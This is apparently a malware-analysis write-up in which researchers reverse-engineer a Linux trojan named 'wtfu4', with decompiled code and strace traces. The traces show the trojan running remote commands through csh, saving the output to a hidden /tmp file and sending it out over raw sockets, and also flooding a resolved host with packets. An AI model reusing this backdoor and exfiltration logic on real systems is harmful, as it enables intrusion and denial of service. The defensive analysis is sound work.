I'm not normally a religious man, but if you're up there, save me Superman | |
Homer J. Simpson |
We were now fresh from the success of the decoder and wanted to know how the wtfu4 binary worked and what exactly it was capable of doing, we weren't happy to know it was a trojan sat on port 11. wtfu4 was accepting commands, deduced from the following reverse engineered code.
eax = ( *(ebp + -4095) & 255) - 1; if(eax <= 11) { goto *(eax * 4 + 0x804832c)[L0804835c, L080483f0, L08048590, L0804871c, L080487c8, L08048894, L08048acc, L08048b58, L08048b80, L08048c34, L08048d08, L08048de4, ]goto ( *(eax * 4 + 0x804832c));
So what did we deduce from this. Well, it's a switch statement. This didn't come naturally, only after we had written a decoder and managed to get an encoder working did we work out what this was for. All it is doing is subtracting 1 from the 2nd character of the decoded buffer and doing a switch statement. We can reconstruct this as follows:
int cmd = (int)decBuf[1] - 1; if (cmd <= 11) { switch(cmd) { case 0: // do something minor? break; case 1: // do something a bit worse? break; case 2: break; ... case 10: // do something mega nasty? break; default: fprintf(stderr, "Unknown command requested\n"); exit(1); break; }; }
We needed to know what each of these did, so we amended our simple client to send these commands to order. We just passed it 1-11 and it encoded a buffer and sent it to wtfu4 for execution. We started with command 1, but we won't describe that first, we will start by describing what we had found from the source code at this point. When we examined the switch statement and where the program execution was jumping to we could see some strings in there that we had identified right at the beginning. Samples from the reverse engineered source can be seen below with some of those important strings in:
L080485dc: *(ebx + ebp + -4096) = *(ebx + ebp + -4094); ebx = ebx + 1; if(ebx <= 397) { goto L080485dc; } ebx = ebp + -2048; L0804F808(); L080557E8(); eax = L0804F620("/tmp/.hj237349", "rb", ebx, ebx, "/bin/csh -f -c \"%s\" 1> %s 2>&1", *(ebp + -17632), "/tmp/.hj237349"); *(ebp + -17628) = eax; if(*(ebp + -17628) != 0) { edi = 0; *(ebp + -17640) = ebp + -4496; ... if(esi != 0) { goto L08048644; } L0804F540(); L080573BC("/tmp/.hj237349", *(ebp + -17628)); } ... ebx = ebx + 1; if(ebx <= 18) { goto L080489d4; } edi = "TfOjG"; ecx = 6; asm("cld"); asm("repe cmpsb"); if(!(esi = ebp + -17340)) { ... L0804A2A8("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1, *(ebp + -17612), 2, *(ebp + -17612), 1, *(ebp + -17612), 0); (save)"HISTFILE"; L0804A48C(); (save)1; (save)"linux"; (save)"TERM"; L0804A2A8(); (save)0; (save)"sh"; (save)"/bin/sh"; ... } (save) *(ebp + -17632); (save)"/bin/csh -f -c \"%s\" "; ebx = ebp + -2048; ...
We couldn't resist. We started firing commands at it. While we were firing these commands we had ethereal and strace running. We also took netstat dumps when we felt something significant had happened. The results were interesting to say the least. All traces from these sessions are included in the miscellaneous files - a word of caution when interpreting them though, some of the network activity is due to deliberate misconfiguration of the networking on this PC. It wasn't attached to a network anyway, but just in case it had itself as a gateway and a DNS server. We will summarise the key features here.
Stop quoting laws at us, for we carry swords. | |
Pompey to the city of Messina |
"OK, g0dzg1ft calm yourself, sunzi too. I'm absorbing the moment - _0bfu5cati0n."
Using the client whose source is in src/main.c we sent it the command 1 with a string after it indicating that we were sending a very long buffer :) We needed a buffer that was greater than 200 bytes. We were also mistaken at this point that they had to be 200 meaningful bytes. We would learn. Another clever way of concealing the hidden capabilities of this beast by the author? Who knows, but we made up a long buffer anyway. We set up the strace on the binary and ethereal to start sniffing. We could also have used Snort here, but we had more experience with ethereal in our test environment. We issued command 1 and ... nothing. Not a thing. Maybe we were wrong here. O well, let's try command 2. Interesting, that appears to do nothing either. We had a look for anything relevant in the strace output.
We could see here that something was happening, but the buffer wasn't causing any massive activity. We tried a few more times as shown below in the recv, oldselect cycle.
1946 <... recv resumed> "E\0\0\3463|@\0@\v\10\217\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230 1946 time(NULL) = 1022159467 1946 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout) 1946 recv(0, "E\0\0\3466\314@\0@\v\5?\177\0\0\1\177\0\0\1\0029p\211\317"..., 2048, 0) = 230 1946 time(NULL) = 1022159475 1946 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout) 1946 recv(0, "E\0\0\3467\373@\0@\v\4\20\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230 1946 time(NULL) = 1022159479 1946 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout) 1946 recv(0, "E\0\0\346;\r@\0@\v\0\376\177\0\0\1\177\0\0\1\2\206\26-"..., 2048, 0) = 230 1946 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout) 1946 recv(0, "E\0\0\346<\347@\0@\v\377#\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230 1946 time(NULL) = 1022159491 1946 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
Nothing. Then we had a stroke of luck. We - for some unknown reason other than it was something to try - issued command 1 again. Something happened, network traffic and some output in the strace log. Interesting, wtfu4 seems to be wanting to talk to someone. We decoded the buffer it sent and, nothing. It didn't mean a thing, no data, no passwords, no nothing. Just a load of senseless data. The activity can be clearly seen in the strace snippet below. We have no idea whether there is anything significant about the IP addresses being used here or whether they are just random. The good thing was that we had woken the sleeping beast. Now, onto probe it some more we went.
1946 recv(0, "E\0\0\346CD@\0@\v\370\306\177\0\0\1\177\0\0\1\0029\201"..., 2048, 0) = 230 1946 oldselect(1, NULL, NULL, NULL, {0, 4000}) = 0 (Timeout) 1946 socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1 1946 brk(0) = 0x807eb98 1946 brk(0x807ee18) = 0x807ee18 1946 brk(0x807f000) = 0x807f000 1946 sendto(1, "E\0\2k\357<\0\0\372\v\325!\177\0\0\1\3264\244\363\3\0\27"..., 619, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("214.52.164.243")}}, 16) = 619 1946 close(1) = 0 1946 oldselect(1, NULL, NULL, NULL, {0, 4000}) = 0 (Timeout) 1946 socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1 1946 sendto(1, "E\0\2k\341\230\0\0\372\v\242b\177\0\0\1\3504\323V\3\0\27"..., 619, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("232.52.211.86")}}, 16) = 619 1946 close(1) = 0
We issued command 3 and again we had some strace activity. This time lots of activity, see wtfu4/strace/cmd3/strace.out for a full trace. Some of the important bits are shown below, we had gone back to the original binary for reasons we will discuss later.
1968 fork() = 1969 1969 sigaction(SIGINT, {SIG_DFL}, NULL, 0x40017000) = 0 1969 sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x40017000) = 0 1969 sigprocmask(SIG_SETMASK, [], NULL) = 0 1969 execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"no what this doe"...], [/* 46 vars */]) = 0 1969 uname({sys="Linux", node="WhiteHat", ...}) = 0 1969 brk(0) = 0x80dacd0 ... 1971 execve("/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/usr/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/usr/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/usr/X11R6/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/usr/local/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 execve("/usr/local/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory) 1971 write(2, "no: Command not found.\n", 23) = 23 ... 1968 open("/tmp/.hj237349", O_RDONLY) = 1 1968 fstat(1, {st_mode=S_IFREG|0644, st_size=23, ...}) = 0 1968 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000 1968 read(1, "no: Command not found.\n", 4096) = 23 1968 read(1, "", 4096) = 0 1968 socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2 1968 sendto(2, "E\0\1\367\262d\0\0\372\v\f\230\0\0\0\0\0\0\0\0\3\0\205"..., 503, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 503 1968 close(2) = 0 ... 1968 close(1) = 0 1968 munmap(0x40000000, 4096) = 0 1968 unlink("/tmp/.hj237349") = 0
We had found something now, we were sending the buffer "don't know what this does yet" and getting the output above. The system was unable to find the command "no" and the rest of the string was being passed as arguments to the command. We had found what we had been looking for now. Firstly, we knew the encoding we were using was close enough to the hacker's encoding to be accepted by wtfu4. Secondly, we knew there was an offset from the command to the actual data, but we didn't know where this was stored. So we just moved a command string into the position of the buffer starting at "no". We created a simple shell script to dump the arguments and environment passed to it into a file. The shell script and the output are included in misc/runcmd and misc/runcmd.out. We can clearly see that the command is being run and the executing program has a full environment. We could see that the buffer was being interpreted as we had predicted, with the string "these are the args OK!". So, command 3 sends a string to execute. The output of the command is stored in a temporary file /tmp/.hj237349 which i then read into memory and sent to address 0.0.0.0. We still don't know what command sets up the IP address, but we have deciphered at least one of the commands, and worked out what some of the strings output was for, the two strings /tmp/.hj237349 and the /bin/csh -f -c "%s" 1> %s 2>&1.
1986 rt_sigprocmask(SIG_SETMASK, [], [], 8) = 0 1986 execve("/root/TheHoneyNet/client/runcmd", ["/root/TheHoneyNet/client/runcmd", "these", "are", "the", "args", "OK!"], [/* 48 vars */]) = 0 1986 uname({sys="Linux", node="WhiteHat", ...}) = 0 1986 brk(0) = 0x80dacd0 ... 1986 rt_sigaction(SIGCHLD, {0x8075490, [], 0x4000000}, {SIG_DFL}, 8) = 0 1986 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 1986 open("/root/TheHoneyNet/client/runcmd", O_RDONLY|O_LARGEFILE) = 3 1986 ioctl(3, 0x5401, 0xbffff5f0) = -1 ENOTTY (Inappropriate ioctl for device) 1986 _llseek(3, 0, [0], SEEK_CUR) = 0 1986 read(3, "#!/bin/sh\n\necho $* > ./runcmd.ar"..., 80) = 57 1986 _llseek(3, 0, [0], SEEK_SET) = 0 1986 getrlimit(0x7, 0xbffff668) = 0 1986 dup2(3, 255) = 255 1986 close(3) = 0 ... 1987 open("./runcmd.args", O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 3 1987 dup2(3, 1) = 1 1987 close(3) = 0 1987 execve("/usr/bin/env", ["env"], [/* 48 vars */]) = 0 ... 1983 open("/tmp/.hj237349", O_RDONLY) = 1 1983 fstat(1, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 1983 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000 1983 read(1, "", 4096) = 0 1983 socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2 1983 sendto(2, "E\0\1\367\262d\0\0\372\v\f\230\0\0\0\0\0\0\0\0\3\0F`w\360"..., 503, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 503 1983 close(2) = 0 1983 oldselect(1, NULL, NULL, NULL, {0, 400000} <unfinished ...> 1964 <... recv resumed> "E\0\1\367\262d\0\0\372\v\215\226\177\0\0\1\0\0\0\0\3\0"..., 2048, 0) = 503 1964 oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout) 1964 recv(0, <unfinished ...> 1983 <... oldselect resumed> ) = 0 (Timeout) 1983 close(1) = 0 1983 munmap(0x40000000, 4096) = 0 1983 unlink("/tmp/.hj237349") = 0 1983 _exit(0) = ?
Again wtfu4 was trying to send some data across the network. We concluded that what wtfu4 was trying to do was run a command, pipe its output into the file /tmp/.hj237349 and then send the contents of that file back to the attacker. It is probably some kind of interrogation command to determine either the status of the compromised host or the status of the trojan. But we still hadn't seen anything to make wtfu4 dangerous to anyone, just a remote sysadmin tool.
We moved on to command 4 to try and determine if there was anything dangerous about wtfu4. We used command 4 to send the same string "don't know what this does yet" and watched the results. Interesting, wtfu4 was talking out again, this time it was doing a DNS lookup for the hostname "this does yet". We had found another working command. We amended the client string to contain a selection of valid hostnames "www.cyberarmy.com www.anotheraddress.com www.mikesbox.com" and ran it again. We were expecting 3 DNS lookups, but instead got one for "www.cyberarmy.com www.anotheraddress.com www.mikesbox.com". We took out the 2nd and 3rd hostnames and wtfu4 started querying for a single hostname "www.cyberarmy.com". It seemed wtfu4 was trying to resolve the IP for its victim. We have no DNS server in this setup, so we give it the next best thing and add an entry to the /etc/resolv.conf to point to 10.0.0.1 as the DNS server. This time we saw a series of ARP and ICMP requests to try and determine who owned the 10.0.0.1 address and send the query there - this was all system stuff and not wtfu4 directly. We determined it was trying to find a route to the DNS server we had just supplied. We added an entry to the /etc/hosts file to resolve "www.cyberarmy.com" to 10.0.0.250. This time, the wtfu4 binary starting sending lots of packets out of the door. LOTS of packets.
We could go on forever now describing the various ways we changed this and that to make sense of the 12 command strings we had determined, but we feel you have probably had enough, so we won't. The technique used above was continued until we had the makeup of the full twelve commands. The traces for the majority of this analysis can be found under the wtfu4/ directory, from which you can see the different kinds of attack we had witnessed. We will summarise the purpose of the twelve commands in the following section. The ethereal and the strace outputs are simply truncated versions of the real thing. We collected somewhere near 290Mb of data during this analysis so we had to trim some of it down :)